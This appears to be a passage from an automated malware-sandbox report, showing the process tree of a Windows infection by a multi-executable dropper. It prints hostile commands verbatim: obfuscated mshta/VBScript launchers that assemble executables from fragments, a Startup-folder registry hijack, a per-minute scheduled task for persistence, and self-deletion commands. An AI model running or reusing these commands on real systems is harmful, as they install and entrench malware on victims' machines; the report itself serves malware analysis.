                                                                                                                                                    6⤵
                                                                                                                                                      PID:6008
                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\GIVkx62dQqNgqlXffRYYiDBU.exe
                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\GIVkx62dQqNgqlXffRYYiDBU.exe"
                                                                                                                                                        7⤵
                                                                                                                                                          PID:3460
                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\S3BTMsvx1awTSaJavTtOP4zy.exe
                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\S3BTMsvx1awTSaJavTtOP4zy.exe"
                                                                                                                                                        6⤵
                                                                                                                                                          PID:6124
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 488
                                                                                                                                                            7⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            PID:3756
                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\4mD7jNGIXa2yvYiRXhV0y8_9.exe
                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\4mD7jNGIXa2yvYiRXhV0y8_9.exe"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:5924
                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\4mD7jNGIXa2yvYiRXhV0y8_9.exe
                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\4mD7jNGIXa2yvYiRXhV0y8_9.exe"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:1344
                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\brdu1HxjJmQNBE_LCEBrVrj0.exe
                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\brdu1HxjJmQNBE_LCEBrVrj0.exe"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:5152
                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\AjW2kk0fyqYsAJo9tWM9KfZh.exe
                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\AjW2kk0fyqYsAJo9tWM9KfZh.exe"
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:1296
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im AjW2kk0fyqYsAJo9tWM9KfZh.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\AjW2kk0fyqYsAJo9tWM9KfZh.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:6768
                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                        taskkill /im AjW2kk0fyqYsAJo9tWM9KfZh.exe /f
                                                                                                                                                                        8⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        PID:6088
                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\GVoH0wxewvdvviYeQefkeDfr.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\GVoH0wxewvdvviYeQefkeDfr.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:4248
                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\0SVzRqtrLqGszUttRCSPtStG.exe
                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\0SVzRqtrLqGszUttRCSPtStG.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:2304
                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:4768
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\dUPufBp8b5UpL7b5PL6rD4NL.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\dUPufBp8b5UpL7b5PL6rD4NL.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:5984
                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\ouukX2gWm4bOReO9fMEOPQwO.exe
                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\ouukX2gWm4bOReO9fMEOPQwO.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:5864
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\47ueqKbktwMvOe6Oaq3dHYym.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\47ueqKbktwMvOe6Oaq3dHYym.exe"
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5528
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\NDQQZfY1FgbG9sgWkG3WufVk.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\NDQQZfY1FgbG9sgWkG3WufVk.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:528
                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\udC2PFiAM7CV1pDxqCKMkAKi.exe
                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\udC2PFiAM7CV1pDxqCKMkAKi.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5688
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\3YBEzT78hGZQ25Kuo6k2BPiA.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\3YBEzT78hGZQ25Kuo6k2BPiA.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:5960
                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\NOfoq72wcAoFEU3DklhMhNDX.exe
                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\NOfoq72wcAoFEU3DklhMhNDX.exe"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:5248
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:3768
                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\M6nnRwpfN_C9M2bpsXh11Hv1.exe
                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\M6nnRwpfN_C9M2bpsXh11Hv1.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5472
                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\9OvPWBAzbH2v3X4H8qUPtoi1.exe
                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\9OvPWBAzbH2v3X4H8qUPtoi1.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:4320
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\6555363.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\6555363.exe"
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:5352
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\1231861.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\1231861.exe"
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:4484
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\3771250.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\3771250.exe"
                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                      PID:4296
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\2114247.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\2114247.exe"
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                        PID:6756
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\329851.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\329851.exe"
                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                          PID:6664
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\5341808.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\5341808.exe"
                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                              PID:6320
                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" vbscRIpT: cLosE ( CREaTeOBJeCT ( "wsCrIpt.SheLl" ). run ( "cMD.exe /C cOPY /Y ""C:\Users\Admin\AppData\Roaming\5341808.exe"" ..\IGEVs2AgDHRD.EXe && StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF """" =="""" for %L In ( ""C:\Users\Admin\AppData\Roaming\5341808.exe"" ) do taskkill -IM ""%~NxL"" -F " , 0, trUE ) )
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:1644
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Roaming\5341808.exe" ..\IGEVs2AgDHRD.EXe&& StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF "" =="" for %L In ( "C:\Users\Admin\AppData\Roaming\5341808.exe" ) do taskkill -IM "%~NxL" -F
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                      PID:5972
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe
                                                                                                                                                                                                                        ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                          PID:4244
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbscRIpT: cLosE ( CREaTeOBJeCT ( "wsCrIpt.SheLl" ). run ( "cMD.exe /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe"" ..\IGEVs2AgDHRD.EXe && StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF ""/PGeb9DQls~acXsvr9DzE3PVM "" =="""" for %L In ( ""C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe"" ) do taskkill -IM ""%~NxL"" -F " , 0, trUE ) )
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:5268
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe" ..\IGEVs2AgDHRD.EXe&& StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF "/PGeb9DQls~acXsvr9DzE3PVM " =="" for %L In ( "C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe" ) do taskkill -IM "%~NxL" -F
                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                  PID:5156
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" Vbscript: CloSe ( cREATEobjeCT( "WScRipT.SHelL" ). rUN ( "cMD.EXE /q /R eCHo | set /p = ""MZ"" > TiSQ.G & coPy /Y /b TisQ.G + zO4NQ.~S+ hcd6.YS + L8KN6h.g ..\VYGDVP.ly & DEl /q *& stArT msiexec.exe -Y ..\VYGDVP.ly ", 0 , tRuE ) )
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:4280
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /q /R eCHo | set /p = "MZ" > TiSQ.G & coPy /Y /b TisQ.G + zO4NQ.~S+ hcd6.YS + L8KN6h.g ..\VYGDVP.ly & DEl /q *& stArT msiexec.exe -Y ..\VYGDVP.ly
                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                      PID:4904
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                          PID:2856
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>TiSQ.G"
                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                            PID:4564
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                            msiexec.exe -Y ..\VYGDVP.ly
                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                              PID:3236
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                        taskkill -IM "5341808.exe" -F
                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                        PID:7084
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\679400.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\679400.exe"
                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                    PID:5720
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\8035666.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\8035666.exe"
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:6832
                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\Kf6ErwGMDmCrxkubyQ_ZPBpZ.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\Kf6ErwGMDmCrxkubyQ_ZPBpZ.exe"
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:4508
                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\Y4ZhZNkfjQADSsZuikB97aBz.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\Y4ZhZNkfjQADSsZuikB97aBz.exe"
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:4820
                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\ckqFusKz3ejFYHZN4zbmq6eq.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\ckqFusKz3ejFYHZN4zbmq6eq.exe"
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:3924
                                                                                                                                                                                                                                        • C:\Program Files (x86)\Company\NewProduct\inst2.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\Company\NewProduct\inst2.exe"
                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                            PID:6008
                                                                                                                                                                                                                                          • C:\Program Files (x86)\Company\NewProduct\rtst1039.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:4688
                                                                                                                                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
                                                                                                                                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                PID:6040
                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\nNFzGY3rEEGDjITMe8Djxu8g.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\nNFzGY3rEEGDjITMe8Djxu8g.exe"
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:6208
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-MRE6R.tmp\nNFzGY3rEEGDjITMe8Djxu8g.tmp
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-MRE6R.tmp\nNFzGY3rEEGDjITMe8Djxu8g.tmp" /SL5="$10404,506127,422400,C:\Users\Admin\Pictures\Adobe Films\nNFzGY3rEEGDjITMe8Djxu8g.exe"
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                    PID:4632
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-PAD7H.tmp\lakazet.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-PAD7H.tmp\lakazet.exe" /S /UID=2709
                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                        PID:6904
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Mon13073304e5395.exe
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:440
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13073304e5395.exe
                                                                                                                                                                                                                                                    Mon13073304e5395.exe
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:2764
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon134ab4d3e88a4d3e.exe
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:1128
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon134ab4d3e88a4d3e.exe
                                                                                                                                                                                                                                                      Mon134ab4d3e88a4d3e.exe
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                      PID:2800
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Mon13470f9aa951f871.exe /mixtwo
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:1264
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13470f9aa951f871.exe
                                                                                                                                                                                                                                                        Mon13470f9aa951f871.exe /mixtwo
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                        PID:4996
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Mon13a2838ed1d8384.exe
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:884
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13a2838ed1d8384.exe
                                                                                                                                                                                                                                                          Mon13a2838ed1d8384.exe
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                          PID:3952
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:316
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                PID:5716
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Mon13248c3d7ea8c81.exe
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:2184
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13248c3d7ea8c81.exe
                                                                                                                                                                                                                                                              Mon13248c3d7ea8c81.exe
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:4260
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Mon13bb1ac8986b773.exe
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:1816
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Mon13be6b39578.exe
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:1496
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13be6b39578.exe
                                                                                                                                                                                                                                                          Mon13be6b39578.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                          PID:4416
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2824
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:5064
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:4240
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe" /F
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                    PID:5024
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13bb1ac8986b773.exe
                                                                                                                                                                                                                                                                Mon13bb1ac8986b773.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                PID:4736
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13bb1ac8986b773.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13bb1ac8986b773.exe
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:2144
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13470f9aa951f871.exe
                                                                                                                                                                                                                                                                  Mon13470f9aa951f871.exe /mixtwo
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:4756
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 780
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                    PID:3496
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13073304e5395.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13073304e5395.exe" /SILENT
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:1920
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-LQGDR.tmp\Mon13073304e5395.tmp
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-LQGDR.tmp\Mon13073304e5395.tmp" /SL5="$401D8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13073304e5395.exe" /SILENT
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:2276
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13248c3d7ea8c81.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13248c3d7ea8c81.exe" -u
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:1472
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-CKCAP.tmp\Mon13073304e5395.tmp
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-CKCAP.tmp\Mon13073304e5395.tmp" /SL5="$401E0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13073304e5395.exe"
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                        PID:5056
                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                        PID:2992
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:5020
                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:5596
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /q/r EChO | sEt /P = "MZ" >XlaE8u7.Rq & cOPy /B /y XLaE8u7.rQ + UnS0AW.LjZ + M_Ko01.HO + GNPM.EM + VLcSO2Y.Z+ fQRB.5 pcAKEo.F & STart control.exe .\PcAKEO.F
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:3796
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:6052
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>XlaE8u7.Rq"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:5720
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                    control.exe .\PcAKEO.F
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:2616
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\PcAKEO.F
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5024
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\PcAKEO.F
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                            PID:4696
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\PcAKEO.F
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:1724
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:4000
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                          1⤵
